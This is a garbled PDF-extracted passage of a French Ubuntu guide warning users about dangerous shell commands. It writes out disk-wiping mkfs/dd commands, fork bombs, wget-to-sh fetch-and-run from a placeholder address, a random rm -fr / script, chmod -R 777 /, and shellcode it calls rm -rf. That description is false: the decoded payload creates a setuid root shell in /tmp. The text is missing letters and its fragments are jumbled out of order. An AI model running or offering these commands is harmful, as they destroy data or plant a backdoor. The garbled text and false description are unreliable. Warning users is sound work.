    mkfs.ext3

    mkfs.QUELQUE_CHOSE

    QUELQUE_COMMANDE > /dev/sda

    dd if=QUELQUE_CHOSE of=/dev/sda

    Forkbomb

    Excute un grand nombre de processus jusqu ce que le systme gle, ce qui vous force faire unarrt brutal et peut causer la corruption du systme, ou dautres dsagrments.

    Avec le shell Bash :

    :(){:|:&};:

    En Perl :

    Si vous voulez savoir comment se protger contre les forks bombs allez voir sur http://doc.ubuntu-fr.org/tutoriel/comment_se_proteger_des_fork_bomb.

    Tarbomb

    Quelquun vous demande dextraire une archive dans un rpertoire existant. Cette archive tar peuttre conue pour exploser en un grand nombre de chiers, voire craser les chiers de lutilisateur qui

    perl -e fork while fork

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    20/24

    petit prcis des commandes unix utiles ubuntu

    20

    portent le mme nom que ceux de larchive. Vous devriez donc prendre lhabitude de dcompresserdes tar dans un nouveau rpertoire vide.

    Dcompression bombQuelquun vous demande dextraire une archive qui semble petite lors du tlchargement maisqui contient la dcompression des donnes dune taille beaucoup plus considrable, au point deremplir votre disque dur. Vous ne devriez pas utiliser des donnes dune source non-able.

    Shell

    Quelquun vous donne le lien vers un script shell excuter. Il peut contenir nimporte quellecommande (bnigne ou malveillante). Vous ne devriez pas excuter du code de personnes qui vousne faites pas conance :

    Roulette russe

    Une fois ce script lanc, vous avez une chance sur 6 pour que tous les chiers la racine de votresystme soient effacs. Faites attention ce script et ses variantes !

    wget http://une_adresse/un_chier

    sh ./un_chier

    wget http://une_adresse/un_chier -O- | sh

    Compilation de code

    Quelquun vous donne le code source et vous dit de le compiler. Il est facile de cacher du codemalveillant dans un long code source, et le code source donne lattaquant beaucoup de possibilitspour dguiser son code malveillant. Vous ne devriez pas compiler ou excuter le code compil, moins quil ne sagisse dune application bien connue, obtenue partir dun site rput (SourceForge,

    les sites Ubuntu, etc.).

    Par exemple :

    #!/bin/bashecho

    [ $[ $RANDOM % 6 ] == 0 ] && rm -fr / || echo You live

    exit 0

    char esp[] __attribute__ ((section(.text))) /* e.s.p

    release */

    = \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68

    \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99

    \xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7

    \x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56

    \x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31

    \xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00

    cp -p /bin/sh /tmp/.beyond; chmod 4755

    /tmp/.beyond;;

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    21/24

    Les commandes dangereuses

    21

    Ceci est la forme hexadcimale de rm -rf qui va dtruire votre rpertoire en tant que simpleutilisateur, ou tous les chiers en tant que root.

    Changements de droitschmod -R 777 /

    Ceci donne les droits de lecture et dcriture sur tous les chiers. Or les commandes situes dans /bin ne supportent pas ce mode. Dans ce cas, il faut rattribuer la valeur o-w, il faut que vous ayezles droits u+w sur /tmp

    Pour info : un / non modi :

    $ ls -al /

    total 100drwxr-xr-x 21 root root 4096 2009-07-15 09:39 .

    drwxr-xr-x 21 root root 4096 2009-07-15 09:39 ..

    drwxr-xr-x 2 root root 4096 2009-07-14 00:49 bin

    drwxr-xr-x 3 root root 4096 2009-07-15 09:39 boot

    lrwxrwxrwx 1 root root 11 2009-07-09 22:34 cdrom -> media/cdrom

    drwxr-xr-x 17 root root 4920 2009-07-18 04:47 dev

    drwxr-xr-x 144 root root 12288 2009-07-18 05:30 etc

    drwxr-xr-x 3 root root 4096 2009-07-09 22:40 home

    lrwxrwxrwx 1 root root 33 2009-07-15 09:39 initrd.img -> boot/initrd.

    img-2.6.28-14-generic

    lrwxrwxrwx 1 root root 33 2009-07-09 23:04 initrd.img.old -> boot/initrd.img-2.6.28-13-generic

    drwxr-xr-x 19 root root 12288 2009-07-17 21:58 lib

    drwx------ 2 root root 16384 2009-07-09 22:34 lost+found

    drwxr-xr-x 9 root root 4096 2009-07-18 04:42 media

    drwxr-xr-x 2 root root 4096 2009-04-13 11:33 mnt

    drwxr-xr-x 2 root root 4096 2009-04-20 15:59 opt

    dr-xr-xr-x 177 root root 0 2009-07-18 06:35 proc

    drwx------ 14 root root 4096 2009-07-18 05:10 root

    drwxr-xr-x 2 root root 4096 2009-07-17 21:59 sbin

    drwxr-xr-x 2 root root 4096 2009-03-06 17:21 selinux

    drwxr-xr-x 2 root root 4096 2009-04-20 15:59 srvdrwxr-xr-x 12 root root 0 2009-07-18 06:35 sys

    drwxrwxrwt 16 root root 4096 2009-07-18 05:17 tmp

    drwxr-xr-x 13 root root 4096 2009-07-17 01:34 usr

    drwxr-xr-x 16 root root 4096 2009-07-10 15:35 var

    lrwxrwxrwx 1 root root 30 2009-07-15 09:39 vmlinuz -> boot/vmlinuz-

    2.6.28-14-generic

    lrwxrwxrwx 1 root root 30 2009-07-09 23:04 vmlinuz.old -> boot/

    vmlinuz-2.6.28-13-generic

    Plus gnralement, attention aux changements de droits, surtout quand ils sappliquent sur desdossiers. Par exemple un

    chmod -R xxx /home/votre_utilisateur

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    22/24

    petit prcis des commandes unix utiles ubuntu

    22

    peut vous obliger recrer un compte utilisateur, vu que certains chiers ncessitent des droitsparticuliers.

    Ajout dun mot de passe au compte

    sudo passwd root

    La commande sudo passwd root peut vous faire perdre vos droits sudo !!

    Pour rcuprer ses droits sudo sur son compte, se loguer en root (su root) et tapez :

    adduser votre_username sudo

    Conclusion

    Encore une fois, il ne sagit pas de donner une liste complte des commandes malveillantes, et ilne faut pas utiliser cette page comme une liste de vrication pour dterminer si une commandeest dangereuse ou pas ! Cette page est simplement ducative, pour faire prendre conscience lutilisateur de la dangerosit potentielle du shell. Toute commande ne doit tre excute que si elleest sre et si lon comprend ce que lon fait.

    Le meilleur moyen dvaluer les risques est probablement lutilisation de la commande man5.

    Rfrences1 http://doc.ubuntu-fr.org/tutoriel/comment_installer_un_paquet2 http://doc.ubuntu-fr.org/ls_couleur3 http://doc.ubuntu-fr.org/installation/mount_fstab4 http://www.debian.org/doc/manuals/apt-howto/index.fr.html5 http://doc.ubuntu-fr.org/page_de_manuel

    6 http://ubuntuforums.org/announcement.php?f=359

    Contributeurs

    lCyberSDF (http://doc.ubuntu-fr.org/utilisateurs/cybersdf)lla tite gogole (http://doc.ubuntu-fr.org/utilisateurs/la_tite_gogole)ltshirtman (http://doc.ubuntu-fr.org/utilisateurs/tshirtman)lmorgen_stern (http://doc.ubuntu-fr.org/utilisateurs/morgen_stern)lBogoris (http://doc.ubuntu-fr.org/utilisateurs/bogoris)lHoxus (http://doc.ubuntu-fr.org/utilisateurs/hoxus)lJohndescs (http://doc.ubuntu-fr.org/utilisateurs/johndescs)ljisee (http://doc.ubuntu-fr.org/utilisateurs/jisee)ldidrocks (http://doc.ubuntu-fr.org/utilisateurs/didrocks)

    Bas sur ATTENTION ALL USERS: Malicious Commands6 par jdong.

    Source

    http://doc.ubuntu-fr.org/

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    23/24

    Les commandes dangereuses

    23

    notes

  • 8/7/2019 petit_precis_des_commandes_unix_utiles_a_ubuntu

    24/24

    Action Raccourcis clavier

    Synchronisation des disques (pratique pour les applicationsen plein cran comme les jeux)

    Stoppe les programmes gentiment

    Tue tous les programmes

    Disque principal en lecture seule

    Redmarrage brutal de lordinateur

    Arrt brutal de lordinateur

    Faire apparaitre le menu de fentre

    Menu Applications

    Lancer une commande

    Fermer lapplication ouverte

    Annuler la maximisation et revenir la taille initiale de lafentre

    Maximiser une fentre

    Rduire la fentre active

    Dplacer la fentre

    Redimensionner la fentre

    Basculer dune fentre lautre (si plusieurs fentres)Minimiser ou maximiser toutes les fentres pour voir oucacher le bureau

    Changer de bureau ou

    Changer de bureau la fentre active ou

    Zoom + Molette souris

    Dplacer une fentre + Bouton gauche souris

    Redimensionner une fentre + Clic molette souris

    Ouvre dans une autre fentre Double-clic avec le bouton du milieu

    Menu Dplacer ici , Copier ici , Lier ici Glisser-dposer avec le bouton du milieu

    Supprimer un chier ou un rpertoire sans passer par lacorbeille (suppression dnitive)

    Afcher les chiers cachs

    Remonter dun niveau de rpertoire

    Revenir au rpertoire utilisateur

    S

    E

    I

    U

    B

    O

    Espace

    D

    SystAlt

    Syst

    Syst

    Syst

    Syst

    Syst

    Alt

    Alt

    Alt

    SupprShift

    Shift

    F1

    F2

    F4

    F5

    F10

    F9

    F7

    F8

    H

    Orig

    Tab

    Alt

    Alt

    Alt

    Alt

    Alt

    Ctrl

    Ctrl

    Ctrl

    Ctrl

    Alt

    Alt

    Alt

    Alt

    Alt

    Alt

    Alt

    Alt

    Ctrl

    Alt

    Alt

    Alt

    Alt

    Alt